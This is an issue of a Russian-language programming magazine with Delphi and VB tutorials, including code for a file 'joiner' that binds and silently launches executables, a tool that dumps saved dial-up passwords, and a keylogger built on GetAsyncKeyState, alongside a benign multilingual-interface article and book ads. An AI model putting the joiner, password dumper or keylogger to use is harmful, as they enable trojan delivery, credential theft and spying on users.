VR-Online для программистов #13

Page 1

VR-online JOURNAL Фленов Михаил and VR-Team

VR-online для программистов №13 Пишем Joiner ..................................................................................................................................3 Delphi: Многоязычный интерфейс...............................................................................................9 Delphi: Легкие пароли на Dial-Up ..............................................................................................13 VB: Охота за клавиатурой ..........................................................................................................16 Delphi: Программирование сервисов в NT ...............................................................................24 Заметки программиста ................................................................................................................28 Delphi и CGI: Счётчик посещений.............................................................................................30 Delphi и CGI: TPageProducer ......................................................................................................33 Дизасемблер для Delphi ..............................................................................................................36 Защита от отладки .......................................................................................................................38 Новое лицо для старых компонентов ........................................................................................40

Copyright: VR-online Journal http://www.vr-online.ru


VR-online Journal (Horrific and VR-Team)

Наступило лето, закончилась учёба, а у тех, кто работает, начинается сезон отпусков. Каждый из нас хочет хорошенечко отдохнуть. Но отдыхать тоже надо с пользой. Для меня пока что лучшим отдыхом была смена работы. Я не имею ввиду увольнение и поиск очередной работы (хотя и такое бывало ☺), а смена деятельности. Например, устал писать программы, запускаю Word и пишу книгу, надоело писать книгу, верстаю очередной VR или делаю что-то для сайта. Таким образом, отдыхаю, и работа не надоедает, но хочется нормального человеческого отдыха – выехать на природу, пойти погулять по зоопарку, посидеть в парке и попить пива с шашлыком, только вот денег постоянно не хватает. Вот и приходится работать и ещё раз работать. Если бы мне предложили отмотать жизнь назад, то я вернулся бы в детский сад. Это самое лучшее время моей жизни. А что, тебя там накормили, напоили, горшок вынесли ☺. Самое беззаботное время, только гуляй, играйся и днём немного спи. Когда я был в детском саду, то именно дневной сон для меня был каторгой. Сейчас же любая свободная минута и я вырубаюсь в глубокий сон. Если днём не поспать хотя бы 15 минут, начинаются дикие головные боли от хронического недосыпания, и я не могу ничего делать. Когда приходят выходные, то я ложусь в 11-12 вечера и раньше 10 утра поднять нереально. И даже этих 10-11 часов сна не хватает. А когда я учился в институте, то там я каждую чётную неделю учился по 4 пары, а по нечётным неделям работал слесарем в цеху с 7 утра и до 16:30, а потом с 17:30 ещё учился две пары в институте. Учёба заканчивалась в 21:00, а домой попадал в 22:00. Ложишься спать в 23:00, а подъём в 5:30. Свободного времени полный ноль и спал только по 6 часов, и этого хватало (иногда только засыпал за станком ☺). Сейчас же и 8 часов не хватает. Видимо старею, или просто хроническая усталость, которую надо прервать. Год назад неделю был в Москве и там спал по 16 часов, расслабон получил конкретный, И то не выспался за время командировки.

Для программистов №13

VR-online JOURNAL Horrific aka Фленов Михаил

INFO: ИДЕЯ И РЕАЛИЗАЦИЯ: Флёнов Михаил (Horrific) ГРАФИКА: Фленов Михаил, tr4sh, Slider

VR-Team: Crazy_Script, Del, Fighter, Mish!, Spider NET, tr4sh, Slider, Neon_Kaligula, OverNight, p4h4, Ma][ INTERNET: WWW: http://www.vr-online.ru E-MAIL: horrific@vr-online.ru ДИЗАЙН САЙТА: tr4sh КОДИНГ САЙТА: Mish!, OverNight

Данный журнал распространяется в виде PDF файлов. Вы можете выкладывать номера на любые носители без изменения внешнего вида журнала, без перевода в другие форматы, без изменения самого файла. В журнал запрещается вносить изменения. Перепечатка материалов запрещена. Журнал распространяется бесплатно, и ты можешь скачать его с нашего сайта, поэтому мы не смысла в перепечатывании видим материалов. Если ты хочешь стать автором журнала, то присылай свою статью на наш e-mail и мы обязательно включим её в очередной номер.

ОТДЫХАЙТЕ!!! ЛУЧШИЙ ОТДЫХ – ЭТО ОТДЫХ :) Фленов Михаил

http://www.vr-online.ru

2


VR-online Journal (Horrific and VR-Team)

Для программистов №13

Пишем Joiner Curve ака Корсунов Артём [VR-Team] “Как написать Джойнер?”. Если поискать, то на любом программистском форуме можно найти с десяток таких вопросов. Но, как правило, все обитатели форумов приводят только схему работы таких программ, мы же с вами разберём всё очень подробно и, я надеюсь, таких вопросов станет меньше (в идеале – вообще не станет). Как же это работает? Дело в том, что Windows при исполнении exe файла не обращает внимания на то, что записано в этот файл сверх основного кода и различных ресурсов. То есть, можно добавлять в exe файл сколько угодно совершенно любой информации (ну, конечно, не сколько угодно, винты-то у нас не резиновые ;)). Этим то и пользуются различные черви, некоторые программы, для хранения своих настроек в целости и сохранности, этим пользуются и программы-джойнеры. Программа-загрузчик Заголовок с информацией “распаковки” файлов Первая файл

для

Вторая файл Вот схема того, что должно содержаться в файле, полученном в результате работы джойнера. Программа-загрузчик – это программа, которая должна считать из себя заголовок с информацией для распаковки файлов (в нём будет содержаться размер файлов, которые нужно распаковать и их имена), распаковать их и запустить. Немного теории. Для начала я расскажу, как работать с файлами на WinApi. Если ты знаешь об этом всё, то можешь пропустить эту часть статьи. Для того чтобы читать\писать в файл его необходимо открыть. Для этого используется функция CreateFile. function CreateFile(lpFileName: PChar; //указатель на строку с именем файла dwDesiredAccess, //определяет тип доступа к фалу dwShareMode: DWORD; //права доступа к файлу другими программами. lpSecurityAttributes: PSecurityAttributes; //указатель на структуру TSecurityAttributes dwCreationDisposition, //что нужно сделать с файлом (открыть, создать новый и тд). dwFlagsAndAttributes: DWORD; //свойство, которое определяет атрибуты файла hTemplateFile: THandle): THandle; dwDesiredAccess (тип доступа к файлу) может быть: GENERIC_WRITE – только для записи

http://www.vr-online.ru

3


VR-online Journal (Horrific and VR-Team)

Для программистов №13

GENERIC_READ – только для чтения GENERIC_ALL – и чтение, и запись dwShareMode может быть: FILE_SHARE_READ - файл доступен другим только для чтения FILE_SHARE_WRITE – файл доступен только программам для записи Функция возвращает указатель на файа (THandle) если всё прошло успешно или же возвращает константу INVALID_HANDLE_VALUE. Собственно для самого чтения или записи в файл используется функция WriteFile: function WriteFile(hFile: THandle; //указатель на открытый файл const Buffer; //переменная, которая будет записана в файл. Как видишь она без типа, что даёт нам возможность писать в файл ЛЮБУЮ информацию. NumberOfBytesToWrite: Cardinal; //сколько байт из Buffer’а нужно записать в файл var NumberOfBytesWritten: Cardinal; //сколько было записано на самом деле lpOverlapped: POverlapped): Cardinal; //указатель на структуру TOverlapped Если всё прошло успешно, функция возвращает значение, отличное от нуля, если же нет – то она возвращает нуль. Аналогично выглядит функция ReadFile, поэтому я не буду её здесь расписывать. Но чтобы нам считать из файла, иногда требуется установить позицию в файле. Для этого существует функция SetFilePointer: function SetFilePointer(hFile: Cardinal; //указатель на открытый файл, lDistanceToMove: integer; //на сколько двигать позицию в файле lDistanceToMoveHigh: integer; //тоже, что и предыдущий параметр, но позволяет задавать позицию в фале, размер которого может быть до 2^64 – 2 (2 в 64 степени минус 2) dwMoveMethod: Cardinal): Cardinal; //относительно какой позиции в файле //двигать Может быть: FILE_BEGIN – относительно начала файла, FILE_END – относительно конца файла FILE_CURRENT – относительно текущей позиции в файле. Долгожданная практика. Наша программ будет состоять из двух модулей: - программы-загрузчика, которая должна будет прочитать из себя файлы и запустить - программы-конфигуратора (джойнера), которая призвана дописать в конец программы-загрузчика два файла и заголовок, о котором уже говорилось ранее. Сам заголовок мы будем объявлять в обеих программах следующим образом: type FRec = record fname1, fname2: string[30]; //Первый и второй файл fsize1, fsize2: cardinal; //...и размеры end;

http://www.vr-online.ru

4


VR-online Journal (Horrific and VR-Team)

Для программистов №13

Почему fsizeX типа Cardinal? Почему не integer? Дело в том, что размер файла не может быть отрицателен, а тип integer поддерживает работу с отрицательными числами. Вот что у меня получилось, когда я “нарисовал” окно программы-конфигуратора:

Конечно, весь код программ здесь рассматривать бессмысленно, мы рассмотрим лишь основные процедуры обоих программ. Итак, вот код программы-конфигуратора (джойнера), а точнее того, что должно быть написано в обработчике кнопки “Join It!”: var fhDest, fhF: tHandle; //в принципе, можно указывать тип не tHandle, а Cardinal, т.к tHandle объявлен как LongWord, а это тоже самое (занимает столько же места в памяти и имеет такие же границы), что и Cardinal… b,bw: cardinal; buf: array [0..1024] of char; //массив для копирования файлов в прогу-загрузчик fDesc: FRec; //Переменная-заголовок begin if not SaveDialog1.Execute then exit; //Копируем файл-загрузчик (из директории Loader) CopyFile(PChar(ExtractFilePath(Application.ExeName) + 'Loader\project2.exe'), PChar(SaveDialog1.FileName), false); //здесь “Loader\Project2.exe” – это относительный путь к программе-загрузчику //Т.к CopyFile сразу возвращает управление нашеё программе, то нем необходимо подождать, пока файл скопируется. //В принципе, наш Loader весит всего 15Kb, но если он не успеет скопироваться, то будет не очень хорошо... //Ах да, я совсем забыл, что реализовал функцию GetFS, она возвращает размер файла в байтах, имя которого указано в параметре. while GetFS(ExtractFilePath(Application.ExeName)+'Loader\project2.exe')<>GetFS(SaveDialog1. FileName) do Application.ProcessMessages; fhDest := CreateFile(PChar(SaveDialog1.FileName), OPEN_EXISTING, 0, 0);

GENERIC_WRITE,

0,

nil,

//Устанавливаем позицию в файле - 0 байт с конца. SetFilePointer(fhDest, 0, nil, FILE_END); //Заполняем заголовок... fDesc.fname1 := ExtractFileName(Edit1.Text); fDesc.fname2 := ExtractFileName(Edit2.Text);

http://www.vr-online.ru

5


VR-online Journal (Horrific and VR-Team)

Для программистов №13

fDesc.fsize1 := GetFS(Edit1.Text); fDesc.fsize2 := GetFS(Edit2.Text); //И записываем его в файл WriteFile(fhDest, fDesc, sizeof(fDesc), b, nil); //Открываем первый файл... fhF := CreateFile(PChar(Edit1.Text), GENERIC_READ, 0, nil, OPEN_EXISTING, 0, 0); //.. и записываем его наш файл. repeat ReadFile(fhF, buf, sizeof(buf), b, nil); WriteFile(fhDest, buf, b, bw, nil); ZeroMemory(@buf, sizeof(buf)); //Обнуляем наш буфер, это нужно для того, чтобы если файл кончится, в файл в которым мы пишем не попал всякий “мусор”. until b<>1025; CloseHandle(fhF); //Всё то же самое делаем и со вторым файлом fhF := CreateFile(PChar(Edit2.Text), GENERIC_READ, 0, nil, OPEN_EXISTING, 0, 0); repeat ReadFile(fhF, buf, sizeof(buf), b, nil); WriteFile(fhDest, buf, b, bw, nil); ZeroMemory(@buf, sizeof(buf)); until b<>1025; CloseHandle(fhF); CloseHandle(fhDest); MessageBox(handle, 'Joining done! :D', 'yea!', MB_OK+MB_ICONEXCLAMATION); end; Надеюсь всё понятно ;) А вот и код программы-загрузчика: //Здесь fSize – это константа, которая определяет размер скомпилированного файла. var fhSou, fhDest: tHandle; fInfo: FRec; //переменная-заголовок b, bw: cardinal; buf: char; i: integer; begin //Открываем сами себя ;) ... fhSou := CreateFile(PChar(ParamStr(0)), GENERIC_READ, 0, nil, OPEN_EXISTING, 0, 0);

//.. и устанавливаем позицию в файле = нашему размеру SetFilePointer(fhSou, fsize, nil, FILE_BEGIN); //Считываем заголовок ReadFile(fhSou, fInfo, sizeof(fInfo), b, nil);

//Создаём файл #1... fhDest := CreateFile(PChar(String(fInfo.fname1)), CREATE_NEW, 0, 0);

http://www.vr-online.ru

GENERIC_WRITE,

0,

nil,

6


VR-online Journal (Horrific and VR-Team)

Для программистов №13

//.. и переписываем из себя в него прграмму #1 for i:=1 to fInfo.fsize1 do begin ReadFile(fhSou, buf, sizeof(buf), bw, nil); WriteFile(fhDest, buf, sizeof(buf), bw, nil); end; //Закрываем файл #1 CloseHandle(fhDest); //Далее всё тоже самое, только с файлом #2... fhDest := CreateFile(PChar(String(fInfo.fname2)), CREATE_NEW, 0, 0);

GENERIC_WRITE,

0,

nil,

for i:=1 to fInfo.fsize2 do begin ReadFile(fhSou, buf, sizeof(buf), bw, nil); WriteFile(fhDest, buf, sizeof(buf), bw, nil); end; CloseHandle(fhDest); //Закрываем себя CloseHandle(fhSou); //Запускаем первый и второй файлы... ShellExecute(0,'open',PChar(String(fInfo.fname1)),'','', SW_SHOWNORMAL); ShellExecute(0,'open',PChar(String(fInfo.fname2)),'','', SW_SHOWNORMAL); //Можно было бы использовать и WinExec, но у ShellExecute возможностей побольше, да и если //в uses добавить ShellAPI, то размер EXE-шника не изменится. end. Надеюсь и этот участок кода не вызвал затруднений в понимании. Если что-то непонятно, то дам тебе совет: Если то, что тебе непонятно, это какая-то функция или процедура, а может быть константа (типа, GENERIC_WRITE), то выдели непонятное слово и нажми Ctrl+F1. Дело в том, что в справке всё ОЧЕНЬ толково разъяснено, правда, на английском. Если с нерусским у тебя не всё в порядке, то попробуй перевести этот раздел справки какимнибудь электронным переводчиком, тогда я думаю, всё прояснится. Ну, это я что-то отвлёкся… Что можно улучшить в программе? Да ещё много всего! Можно, например, увеличить число файлов, которые можно объединить (или сделать их неограниченным (ну, конечно не неограниченным, памяти то на всех не хватит :)). А можно, сделать так, чтобы какие-то программы запускались невидимыми, какието видимыми, какие-то вообще не запускались (например, если ты хочешь приджойнить dll-ку, то зачем её запускать?). Можно добавить шифрование данных, чтобы никто не смог разъединить файлы. А ещё можно добавить какой-нибудь алгоритм сжатия и на основе этого джойнера написать инсталлятор :). Как видишь, поле для экспериментов и дальнейшего развития просто таки неограниченное! Благо структура-заголовок позволяет без лишней траты нервов добавлять или убирать свойства. Так что дерзай! Удачи!

http://www.vr-online.ru

7


VR-online Journal (Horrific and VR-Team)

Для программистов №13

Программирование в Delphi глазами хакера Автор: Фленов Михаил aka Horrific Из книги ты узнаешь: • Кто такой Хакер и как им стать; • Как создавать программы маленького размера; • Как оптимизировать код программы; • Как заставить летать кнопку «Пуск»; • Научишься контролировать системную палитру; • Научишься изменять разрешение экрана из своих программ; • Увидишь множество шуточного кода; • Узнаешь, как подсматриваем пароли, спрятанные под звездочками; • Напишешь программу мониторинга запускных файлов и клавиатурный шпион; • Сможешь портить окна чужих программ; • Как создавать окна неправильной формы; • Научишься работать с сетью через компоненты Delphi и увидишь как создаются сканеры портов, утилиты ping и др. • Узнаешь, как работать с сетью на уровне библиотеки WinSock; • Узнаешь, как работать с железом И многое другое. Посмотри на содержимое диска, и ты поймёшь, что он стоит того, чтобы купить эту книгу с диском: \Headers - Все необходимые заголовочные файлы, которые нужно будет подключать к Delphi для компиляции некоторых примеров \Source - Исходные коды своих простых программ, чтобы вы могли ознакомиться с реальными приложениями. Их немного, но посмотреть стоит. \Soft - Инсталляционный пакет программы Adobe Acrobat Reader v5.0. Если у вас нет этой программы, то вы должны её установить, чтобы можно было читать документацию, расположенную на диске. \Vr-online - Полная копия сайта автора, а это 100 мегабайт документации, полезной информации, исходных кодов и компонентов. Здесь же вы можете найти мою книгу "Библия Delphi" - в электронном виде. В ней вы найдёте все необходимые для понимания этого материала основы и если вы ещё ни разу не видели Delphi, то после прочтения этой книги вы сможете понять всё описанное здесь. \Документация - Дополнительная документация, которая может понадобиться для понимания каких-то глав. \Иконки - В этой директории вы найдёте большую коллекцию иконок, которые вы можете использовать в своих программах. Эту коллекцию я подбирал достаточно долго и все иконки хорошего качества. \Компоненты - Дополнительные компоненты, которые будут использоваться в примерах книги. \Программы - Программы, которые пригодятся в программировании. Среди них Header Convert - программа, которая конвертирует заголовочные файлы с языка С на Delphi и ASPack - программа сжатия запускных файлов. Спрашивай книгу в книжных магазинах своего города!!!

http://www.vr-online.ru

8


VR-online Journal (Horrific and VR-Team)

Для программистов №13

Delphi: Многоязычный интерфейс При разработке многоязычного интерфейса есть два пути – воспользоваться встроенным в Delphi мастером или же сделать всё самому. Мы выберем второй, тем более, что на мой взгляд – он гораздо проще ☺. Для начала нам нужно написать какую-нибудь программу. Один умный человек сказал, что разрабатывать изначально надо на русском языке, и это сущая правда, так как многие европейские языки более лаконичны. Хотя, если ты знаешь французский, то лучше пиши на нём. Сравни, например, «О программе», «About» и «Sur le programme». Итак, у меня получилось вот что –

Это – все окна моей программы. Главное окно, окно появляющееся при нажатии на пункт меню «About», и сообщение, появляющееся после клика по кнопке «Click me!». В программе я использовал ActionMainMenuBar, ActionToolBar, SpeedButton, BitButton, Label'ы и ShowMessage. Нам также понадобятся файлы с переводом. Наша программа будет уметь разговаривать на трёх языках – английском, немецком и французском, поэтому приготовь три словаря и помести их в папку Language. Файлы эти могут быть построены по любому принципу, я выбрал такой – [TForm1] Open='Open' Open.Hint='Open file' В квадратных скобках указано название формы, потом условное обозначение элемента и, через знак “=” значение. Ничего не напоминает? Ini-файл? Точно! Именно их мы и будем использовать. Для этого в секцию uses каждой формы впиши Inifiles. Также у нас будут две глобальные переменные, их нужно инициализировать до секции implementation var Form1: TForm1; Ini:Tinifile; //переменная для работы с ini-файлом language:string; //строка, где будет содержаться название текущего языка При загрузке программа будет проверять, какой язык использовался последним. Запоминать это мы будем также в отдельном ini-файле – options.ini. procedure TForm1.FormShow(Sender: TObject);

http://www.vr-online.ru

9


VR-online Journal (Horrific and VR-Team)

Для программистов №13

begin Ini := TIniFile.Create(ExtractFilePath(paramstr(0))+'options.ini'); //Открыли options.ini language:=Ini.ReadString('Language','CurrentLang','english'); {Считали язык, и записали его в переменную language, по умолчанию - english} Ini.Free; //Закрыли файл, - не забывай освобождать объекты! Ini := TIniFile.Create(ExtractFilePath(paramstr(0))+'/Language/'+language+'.lng'); {В переменной language содержится значение, совпадающее с именем нужного нам языка, мы добавляем расширение .lng и открываем соответствующий словарь. Далее, используя этот словарь, заполняем все Caption’ы и Hint’ы на форме} ActionManager1.ActionBars[0].Items[0].Caption:=Ini.ReadString('TForm1','File',''); ActionManager1.ActionBars[0].Items[0].Items[0].Caption:= Ini.ReadString('TForm1','Open',''); ActionManager1.ActionBars[0].Items[0].Items[1].Caption:= Ini.ReadString('TForm1','Save',''); ActionManager1.ActionBars[0].Items[1].Caption:= Ini.ReadString('TForm1','Language',''); ActionManager1.ActionBars[0].Items[1].Items[0].Caption:= Ini.ReadString('TForm1','English',''); ActionManager1.ActionBars[0].Items[1].Items[1].Caption:= Ini.ReadString('TForm1','French',''); ActionManager1.ActionBars[0].Items[1].Items[2].Caption:= Ini.ReadString('TForm1','German',''); ActionManager1.ActionBars[0].Items[2].Caption:=Ini.ReadString('TForm1','About',''); ActionManager1.ActionBars[0].Items[3].Caption:=Ini.ReadString('TForm1','Exit',''); ExitAct.Hint:=Ini.ReadString('TForm1','Exit.Hint',''); OpenAct.Hint:=Ini.ReadString('TForm1','Open.Hint',''); SaveAct.Hint:=Ini.ReadString('TForm1','Save.Hint',''); AboutAct.Hint:=Ini.ReadString('TForm1','About.Hint',''); MessBut.Hint:=Ini.ReadString('TForm1','MessBut.Hint',''); MessBut.Caption:=Ini.ReadString('TForm1','MessBut',''); Ini.Free; end; То же самое пишем для формы About. А как быть, если пользователь захочет переключить язык во время работы программы? Я пишу такой обработчик для каждого языка – procedure TForm1.EngActExecute(Sender: TObject); begin Ini := TIniFile.Create(ExtractFilePath(paramstr(0))+'options.ini'); Ini.WriteString('Language','CurrentLang','english'); {Перезаписываем в options.ini новое значение} Ini.Free; FormShow(Self); // процедуру FormShow,чтобы перевести всё на выбранный язык end; Еще у нас есть сообщения, их тоже не сложно перевести –

http://www.vr-online.ru

10


VR-online Journal (Horrific and VR-Team)

Для программистов №13

procedure TForm1.MessButClick(Sender: TObject); begin Ini := TIniFile.Create(ExtractFilePath(paramstr(0))+'/Language/'+language+'.lng'); showmessage (PChar(Ini.ReadString('Messages','1',''))); Ini.Free; end; Как показал опрос, проведённый на форуме сайта http://www.vr-online.ru , подавляющее большинство программистов использует этот способ. Но как быть, если твоя программа достаточна велика? Описание процедуры FormShow может стать настоящей пыткой. В таком случае удобно использовать какой-нибудь специализированный компонент. И такой компонент есть. Вообще говоря, таких компонентов много, но не все они удобны. Я остановил свой выбор на компоненте Balmsoft Polyglot. Он прост в использовании, не добавляет много лишнего веса программе, но главная фишка в том, что он позволяет автоматически создавать словарь для всего приложения. К тому же он бесплатен, правда поставляется без исходных кодов. Совмещая его с описанным в этой статье способом, можно получить неплохие результаты. И последний совет – если в тексте встречается апостроф – ‘ – особенно часто это бывает во французском языке, его надо заменять на другой значок - ` - который находится на кнопке с тильдой - ~ (поскольку в ini-файлах апостроф является служебным символом). Исходники ищи в архиве. Copyright © Люков Кирилл aka lirik e-mail: lirik@lirik.ru

http://www.vr-online.ru

11


VR-online Journal (Horrific and VR-Team)

Для программистов №13

Ты ищешь хорошую книгу по Delphi? Зайди на www.vr-online.ru и скачай полный электронный вариант Библии Delphi от Фленова Михаила абсолютно бесплатно. Эта книгу научит тебя программировать, даже если ты никогда в жизни не написал ни строчки кода. В ней описано всё, начиная от основ программирования и заканчивая реальными примерами программ и задач, которые программисты решают каждый день. Библия Delphi – самая иллюстрированная и самая бесплатная книга. По ней научились программировать множество людей и ты тоже сможешь. ТЕПЕРЬ ТЫ МОЖЕШЬ КУПИТЬ ПОЛНЫЙ ВАРИАНТ КНИГИ (РАСШИРЕННЫЙ И ДОРАБОТАННЫЙ) В КОМПЬЮТЕРНОМ МАГАЗИНЕ СВОЕГО ГОРОДА). Если в магазинах твоего города ещё нет этой книги, то заходи на наш сайт и ты узнаешь, где её можно заказать в Интернете.

Заказать полный вариант книги через инет

http://www.vr-online.ru

12


VR-online Journal (Horrific and VR-Team)

Для программистов №13

Delphi: Легкие пароли на Dial-Up На многих форумах в последние время задается один и тот же вопрос: «Как получать в XP/2K сохраненные пароли на DialUP?». А в качестве ответа тебя отправляют на http://nirsoft.cjb.net/ за прогой под названием Dialuppass. Нет, ты не думай, что и я хочу тебя отправить к этой проге! Я покажу тебе как написать такую же. Заинтересовался? Тогда усаживайся поудобнее, и пододвинь поближе клаву и мышь :) Готовимся. Как ты уже понял, для получения паролей нам помогут RAS API функции. Что это такое я объяснять не буду. Об этом ты сможешь прочитать в предыдущих моих статьях посвященных использованию RAS API. Чтобы быстренько написать программу мы воспользуемся модулем RasReader. Который написал Alex Demchenko. Сам модуль ты можешь взять с его сайта (ссылку ищи в конце статьи). Благодаря этому замечательному модулю мы сможем, не напрягаясь получить заветные пароли (надеюсь, ты не будешь использовать этот материал в незаконных целях :)). СТАРТ! Писать программу мы будет естественно на Delphi. Поэтому запусти его и сразу же создай новый проект типа Application. Как создашь, не забудь стразу же сохранить наше будущее творение. Сегодня нам не потребуется много компонентов. Брось на форму ListView и всего лишь одну кнопку. В ListView создай пять колонок (надеюсь, ты знаешь как это делается): 1). Имя соединения 2). Телефон 3). Код города 4). Имя пользователя 5). Пароль Результат проделанной работы ты сможешь увидеть на рисунке 1.

http://www.vr-online.ru

13


VR-online Journal (Horrific and VR-Team)

Для программистов №13

рис.1 (Форма) Все наша форма готова и это значит, что пора переходить к кодингу. К счастью (или к сожалению :)) его много не будет. Первым делом не забудь добавить в Uses имя скаченного нами модуля – RasReader. Теперь создай для нашей единственной кнопки обработчик события OnClick. Напиши в нем следующий код: var Viewer:TRasReader; begin Viewer:=TRasReader.Create; //Инициализируем компонент Viewer.GetRasEntries(@GetPass); //Вызываем метод GetRasEntries Viewer.Free; //Освобождаем выделенную память Самой важно строчкой является эта – «Viewer.GetRasEntries(@GetPass);». После ее вызова вся информация о соединении (читай пароли) вернуться в процедуру GetPass. Поэтому тебе необходимо написать эту процедуру. Ниже я приведу код процедуры: procedure GetPASS(PhoneNumber, AreaCode, UserName, Password, EntryName: String); begin //Добавляем полученную информацию в ListView. with Form1.ListView1.Items.Add do begin Caption:=EntryName; SubItems.Add(PhoneNumber); SubItems.Add(AreaCode); SubItems.Add(UserName); SubItems.Add(Password); end; end; Думаю код пояснять не нужно. Теперь запусти нашу программу и нажми на кнопку. После нажатия в ListView появятся заветные пароли и другая информация. Пример работ программы ты можешь увидеть на рисунке 2.

http://www.vr-online.ru

14


VR-online Journal (Horrific and VR-Team)

Для программистов №13

The End Ну вот и все на сегодня. Теперь твой хакерский арсенал должен быть пополнен еще одной тулзой собственного производства. Если у тебя возникнут вопросы, то задавай их на spider_net@vr-online.ru. Пока! P.S. модуль RasReader можешь скачать здесь: P.S.1 Если ты хочешь узнать о RAS API функциях подробней, то могу посоветовать почитать мои статьи на сайте www.mashp.h10.ru.

рис. 2 (Программа в действии) Written by Spider NET aka Антонов Игорь

http://www.vr-online.ru

15


VR-online Journal (Horrific and VR-Team)

Для программистов №13

VB: Охота за клавиатурой В принципе, написать клавиатурный шпион на VB не сложно. Несколько API, блоки кода, терпение... После прочтения этой статьи, написание ПРОСТОГО шпиона перестанет казаться чем – то запредельным. Учти, что статья не расчитана на пробитого новичка. Я прокомментировал основные места, чтобы ты смог быстро разобраться в механизме написания и работы шпиона. В конце статьи приводится несколько советов по доработке кода. ИТАК приступим... ‘ основные функции шпиона: Private Declare Function Getasynckeystate Lib "user32" Alias "GetAsyncKeyState" (ByVal VKEY As Long) As Integer Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer ‘ здесь мы проверяем наличие включенного Caps Lock’a Public Function CapsLockOn() As Boolean Static bInit As Boolean Static bOn As Boolean If Not bInit Then While Getasynckeystate(VK_CAPITAL) Wend bOn = GetKeyState(VK_CAPITAL) bInit = True Else If Getasynckeystate(VK_CAPITAL) Then While Getasynckeystate(VK_CAPITAL) DoEvents Wend bOn = Not bOn End If End If CAPSLOCKON = bOn End Function ‘ a это – пример «захвата» букв A a B b ‘ все это (включая объявления переменных) находятся в коде таймера с interval = 1 Timer1_timer() Dim keystate As Long Dim Shift As Long

‘объявления

Shift = Getasynckeystate(vbKeyShift) ‘ проверят нажат ли шифт или нет keystate = Getasynckeystate(vbKeyA) ‘ определяет, какая клавиша в данный момент нажата ‘ ниже идет проверка и запись буквы А или а

http://www.vr-online.ru

16


VR-online Journal (Horrific and VR-Team)

Для программистов №13

If (CapsLockOn = True And Shift = 0 And (keystate And &H1) = &H1) Or (CapsLockOn = False And Shift <> 0 And (keystate And &H1) = &H1) Then strTemp = StrTemp + "A" End If If (CapsLockOn = False And Shift = 0 And (keystate And &H1) = &H1) Or (CapsLockOn = True And Shift <> 0 And (keystate And &H1) = &H1) Then StrTemp = StrTemp + "a" End If

keystate = Getasynckeystate(vbKeyB) If (CapsLockOn = True And Shift = 0 And (keystate And &H1) = &H1) Or (CapsLockOn = False And Shift <> 0 And (keystate And &H1) = &H1) Then StrTemp = StrTemp + "B" End If If (CapsLockOn = False And Shift = 0 And (keystate And &H1) = &H1) Or (CapsLockOn = True And Shift <> 0 And (keystate And &H1) = &H1) Then StrTemp = StrTemp + "b" End If Запись буквы идет в переменную strTemp. В основном это нужно для прогонки записанного символа через филтр. Надеюсь тебе понятно, что для каждой буквы придется написать проверку как показанно выше. Для цифр [0-9] используются константы vbKey0 … vbKey9 Учитывая, что при удержанном шифте значение меняется, можно записать так: keystate = Getasynckeystate(vbKey1) If Shift = 0 And (keystate And &H1) = &H1 Then StrTemp = StrTemp + "1" End If If Shift <> 0 And (keystate And &H1) = &H1 Then StrTemp = StrTemp + "!" End If keystate = Getasynckeystate(vbKey2) If Shift = 0 And (keystate And &H1) = &H1 Then StrTemp = StrTemp + "2" End If If Shift <> 0 And (keystate And &H1) = &H1 Then StrTemp = StrTemp + "@" End If ‘Далее приводятся значения всех клавиш в виде констант VB vbKeyLButton

Left mouse button

vbKeyRButton

Right mouse button

vbKeyCancel

CANCEL key

vbKeyMButton

Middle mouse button

vbKeyBack

BACKSPACE key

vbKeyTab

TAB key

http://www.vr-online.ru

17


VR-online Journal (Horrific and VR-Team) vbKeyClear

CLEAR key

vbKeyReturn

ENTER key

vbKeyShift

SHIFT key

vbKeyControl

CTRL key

vbKeyMenu

MENU key

vbKeyPause

PAUSE key

vbKeyCapital

CAPS LOCK key

vbKeyEscape

ESC key

vbKeySpace

SPACEBAR key

vbKeyPageUp

PAGE UP key

vbKeyPageDown

PAGE DOWN key

vbKeyEnd

END key

vbKeyHome

HOME key

vbKeyLeft

LEFT ARROW key

vbKeyUp

UP ARROW key

vbKeyRight

RIGHT ARROW key

vbKeyDown

DOWN ARROW key

vbKeySelect

SELECT key

vbKeyPrint

PRINT SCREEN key

vbKeyExecute

EXECUTE key

vbKeySnapshot

SNAPSHOT key

vbKeyInsert

INS key

vbKeyDelete

DEL key

vbKeyHelp

HELP key

vbKeyNumlock

NUM LOCK key

vbKeyNumpad0

0 key

vbKeyNumpad1

1 key

vbKeyNumpad2

2 key

vbKeyNumpad3

3 key

vbKeyNumpad4

4 key

vbKeyNumpad5

5 key

http://www.vr-online.ru

Для программистов №13

18


VR-online Journal (Horrific and VR-Team) vbKeyNumpad6

6 key

vbKeyNumpad7

7 key

vbKeyNumpad8

8 key

vbKeyNumpad9

9 key

vbKeyMultiply

Знак умножения (*) key

vbKeyAdd

PLUS SIGN (+) key

vbKeySeparator

ENTER (keypad) key

vbKeySubtract

MINUS SIGN (-) key

vbKeyDecimal

Точка (.) key

vbKeyDivide

Знак деления (/) key

Constant

Description

vbKeyF1

F1 key

vbKeyF2

F2 key

vbKeyF3

F3 key

vbKeyF4

F4 key

vbKeyF5

F5 key

vbKeyF6

F6 key

vbKeyF7

F7 key

vbKeyF8

F8 key

vbKeyF9

F9 key

vbKeyF10

F10 key

vbKeyF11

F11 key

vbKeyF12

F12 key

vbKeyF13

F13 key

vbKeyF14

F14 key

vbKeyF15

F15 key

vbKeyF16

F16 key

Для программистов №13

A это – листинг содержащий значение клавиш, которые не нашли аналогов в константах VB. Поэтому их приходиться записывать в 16-тиричой системе, и передавать функции Getasynckeystate

http://www.vr-online.ru

19


VR-online Journal (Horrific and VR-Team)

Для программистов №13

